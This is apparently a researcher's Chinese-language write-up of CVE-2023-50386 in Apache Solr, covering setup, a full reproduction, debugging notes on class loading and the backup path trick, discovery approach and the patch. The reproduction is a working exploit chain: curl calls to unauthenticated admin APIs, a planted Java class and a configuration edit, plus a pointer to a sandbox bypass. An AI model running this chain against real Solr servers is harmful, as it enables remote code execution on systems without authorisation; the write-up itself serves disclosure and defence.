Apache Solr Backup/Restore APIs RCE (CVE-2023-50386)分析及挖掘思路

Apache Solr在创建Collection时会以一个特定的目录作为classpath,从中加载一些类,而Collection的备份功能可以导出攻击者上传的恶意class文件到该目录,从而让Solr加载自定义class,造成任意Java代码执行,可以进一步绕过Solr配置的Java沙箱,最终造成任意命令执行。

这个漏洞其实我在22年8月就报告给了Solr官方,在SolrCloud模式的默认配置下可以造成任意命令执行,但官方经过半年的讨论,在23年2月回复我说只做修复,但不分配CVE编号,漏洞跟踪为SOLR-16480。然后这篇分析笔记写于23年3月,我也一直未公开。

不过今天(24年2月10日)无意间看到Solr官方发布了CVE-2023-50386的漏洞通告,然后漏洞描述和我提交的一模一样,点进去一看漏洞发现者果然是自己的ID,我也没搞明白这是什么操作,不过既然官方已经发布通告,我也就公开漏洞分析笔记了。

影响范围

  • Apache Solr 6.0.0 through 8.11.2
  • Apache Solr 9.0.0 before 9.4.1
  • SolrCloud模式

环境搭建

1
2
3
4
docker run --rm -ti --name solr9.0.0 -p 8983:8983 -p 5005:5005  solr:9.0.0 bash
# 启动并进入solr容器
solr start -c -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
# 以SolrCloud模式启动Solr,并附加Java调试参数

漏洞复现

准备Solr默认配置文件

先以root权限进入Solr容器,打包默认的配置文件并复制出来,当然也可以从Solr源码中获得:

1
2
3
4
5
6
docker exec -ti -uroot solr9.0.0 bash
cd /opt/solr-9.0.0/server/solr/configsets/_default
tar cf conf.tar conf/
exit
docker cp solr9.0.0:/opt/solr-9.0.0/server/solr/configsets/_default/conf.tar ~/Desktop/test/
tar xf conf.tar

编译恶意class

编译一个包名为zk_backup_0.configs.conf1的Java类(容器内的Java版本为17,注意版本兼容问题)

1
2
3
4
5
6
7
8
9
10
11
package zk_backup_0.configs.conf1;
import java.io.File;
public class Exp {
static {
try {
new File("/tmp/success").createNewFile();
}catch (Exception e) {
e.printStackTrace();
}
}
}

上传配置文件conf1

将恶意class放入配置文件目录中,并打包上传到Solr,命名为conf1

1
2
3
4
mv zk_backup_0/configs/conf1/Exp.class conf/
cd conf
zip -q -r conf1.zip *
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf1"

conf1创建collection1

用上一步上传的配置conf1去创建一个Collection,名为collection1

1
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection1&numShards=1&replicationFactor=1&wt=json&collection.configName=conf1"

备份collection1,导出conf1

通过备份功能可以将collection1导出,其中包括创建collection1时用的配置文件,也就是conf1,从而恶意class也随之导出。

以下API中location为要导出的路径,/var/solr/data/SOLR_HOME的路径。name为导出的名字,其实也就相当于路径的一部分

1
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1"

响应完成后,collection1被导出到了/var/solr/data/collection2_shard1_replica_n1

而它对应的配置被导出到了/var/solr/data/collection2_shard1_replica_n1/collection1/zk_backup_0/configs/

通过备份的接口再次导出collection1,注意locationname都有变化:

1
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib"

这次导出后,会发现我们的class最终在/var/solr/data/collection2_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1

目录结构zk_backup_0/configs/conf1与包名zk_backup_0.configs.conf1恰好对应

上传配置文件conf2

默认配置的solrconfig.xml文件有个valueSourceParser标签

取消其注释,并修改为

1
<valueSourceParser name="myfunc" class="zk_backup_0.configs.conf1.Exp" />

打包上传,命名为conf2

1
2
3
rm Exp.class conf1.zip
zip -q -r conf2.zip *
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf2.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf2"

conf2创建collection2

1
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2"

Collection创建过程中会将SOLR_HOME/collection2_shard1_replica_n1/lib/下的jar包或者一级子目录作为URLClassLoader的urls。并且会加载solrconfig.xml中配置的类,从而导致zk_backup_0.configs.conf1.Exp类的静态代码被执行

绕过沙箱

其实在Solr中通过这种方式执行Java代码是会受沙箱限制的,这也是为什么我用了new File("/tmp/success").createNewFile();创建文件来演示漏洞而非命令执行。

绕过也比较容易,参考:https://www.mi1k7ea.com/2020/05/03/%E6%B5%85%E6%9E%90Java%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/#%E5%88%9B%E5%BB%BAClassLoader%E7%BB%95%E8%BF%87

删除创建的配置和Collection

1
2
3
curl "http://127.0.0.1:8983/solr/admin/collections?action=DELETE&name=collection1"
curl "http://127.0.0.1:8983/solr/admin/configs?action=DELETE&name=conf1"
curl "http://127.0.0.1:8983/solr/admin/configs?action=DELETE&name=conf2"

漏洞分析

漏洞复现过程尽管很复杂,但漏洞关键其实就几点

  • Solr在创建Collection时会加载配置文件中设置的Java类,而classpath是一个特定的目录
  • 备份Collection时会导出一系列配置文件,而这些文件由用户上传
  • 备份导出的路径在一定程度上可控
  • 所用到的api接口默认情况下均可未授权访问

挖掘思路

挖掘Solr前,我的目的很明确,只关注RCE漏洞,然后去大概了解了一下Solr的用途和历史漏洞。有一篇Solr的总结很全面:https://paper.seebug.org/1515/

分析完历史漏洞后,感觉Solr最大的问题是默认情况下很多敏感的接口都是未授权可访问,我觉得这也是挖掘新洞的一个着手点。

其中关于配置集,和Collection管理的api尤其受关注。因为创建Collection时可以指定某个配置,而这些配置又由用户上传,配置中某些配置项又必然影响某些代码逻辑。

https://solr.apache.org/guide/solr/9_0/configuration-guide/configsets-api.html

https://solr.apache.org/guide/solr/9_0/deployment-guide/collection-management.html

调试分析

加载lib

在org.apache.solr.handler.admin.CollectionsHandler#handleRequestBody打断点,然后发起如下请求

1
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=test_collection&numShards=1&replicationFactor=1&wt=json&collection.configName=_default"

这里就是Collection相关请求的入口

然后到 org.apache.solr.core.SolrConfig#initLibs

这里的libPath/var/solr/data/test_collection_shard1_replica_n1/lib,此路径如果存在的话,就会用这个路径下的Jar包和一级子目录作为urls创建URLClassLoader,该URLClassLoader对象储存在org.apache.solr.core.SolrResourceLoader#classLoader

(可以手动在这个目录下创建lib,观察一下代码逻辑):

后续读取配置文件中的类并加载的代码就不再跟了。

写入lib

后面的挖掘方向就是如何在/var/solr/data/test_collection_shard1_replica_n1/lib目录下写入所需文件,这是这个漏洞另一个关键的地方。

回到备份Collection的api:

1
http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=dirname

这个api调用示例的是将collection1导出到/var/solr/data/路径下的dirname目录,要求location这个目录必须提前存在,然后我们借由配置文件上传的可控的文件在更深的路径,即/var/solr/data/dirname/collection1/zk_backup_0/configs/conf1/

我一开始想往/var/solr/data/test_collection_shard1_replica_n1/lib/写入一个Jar包,也尝试目录穿越等等方法,发现确实无法做到。只能在libPath的子子子子目录写入可控文件,也就是/var/solr/data/test_collection_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1/,当然把Jar包写在这里是不能被识别的。

后来想到Java的类结构,不也是包名/包名/包名/类名.class,刚好抵消这里多出来的子目录,所以就有了前文复现流程中的奇怪的包名。

漏洞修复

https://github.com/apache/solr/commit/28d6b0163316376ef3b5429b3554c5041b47b5be

增加了备份导出时的文件类型黑名单

(目前最新的修复方案似乎不太一样,以上均为之前的代码分析,最新的我也还没看)